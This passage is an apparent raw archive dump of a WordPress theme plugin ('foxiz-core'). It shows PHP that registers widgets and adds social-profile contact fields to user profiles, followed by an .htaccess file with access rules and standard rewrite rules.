'Foxiz_W_Ruby_Template' ); foreach ( $widgets as $widget ) { if ( class_exists( $widget ) ) { register_widget( $widget ); } } return false; } function user_contactmethods( $user ) { if ( ! is_array( $user ) ) { $user = array(); } $data = array( 'job' => esc_html__( 'Job Name', 'foxiz-core' ), 'facebook' => esc_html__( 'Facebook profile URL', 'foxiz-core' ), 'twitter' => esc_html__( 'Twitter profile URL', 'foxiz-core' ), 'instagram' => esc_html__( 'Instagram profile URL', 'foxiz-core' ), 'pinterest' => esc_html__( 'Pinterest profile URL', 'foxiz-core' ), 'linkedin' => esc_html__( 'LinkedIn profile URL', 'foxiz-core' ), 'tumblr' => esc_html__( 'Tumblr profile URL', 'foxiz-core' ), 'flickr' => esc_html__( 'Flickr profile URL', 'foxiz-core' ), 'skype' => esc_html__( 'Skype profile URL', 'foxiz-core' ), 'snapchat' => esc_html__( 'Snapchat profile URL', 'foxiz-core' ), 'myspace' => esc_html__( 'Myspace profile URL', 'foxiz-core' ), 'youtube' => esc_html__( 'Youtube profile URL', 'foxiz-core' ), 'bloglovin' => esc_html__( 'Bloglovin profile URL', 'foxiz-core' ), 'digg' => esc_html__( 'Digg profile URL', 'foxiz-core' ), 'dribbble' => esc_html__( 'Dribbble profile URL', 'foxiz-core' ), 'soundcloud' => esc_html__( 'Soundcloud profile URL', 'foxiz-core' ), 'vimeo' => esc_html__( 'Vimeo profile URL', 'foxiz-core' ), 'reddit' => esc_html__( 'Reddit profile URL', 'foxiz-core' ), 'vkontakte' => esc_html__( 'Vkontakte profile URL', 'foxiz-core' ), 'telegram' => esc_html__( 'Telegram profile URL', 'foxiz-core' ), 'whatsapp' => esc_html__( 'Whatsapp profile URL', 'foxiz-core' ), 'rss' => esc_html__( 'Rss', 'foxiz-core' ), ); return array_merge( $user, $data ); } } } /** init */ FOXIZ_CORE::get_instance(); .htaccess000064400000001626147206624460006362 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L]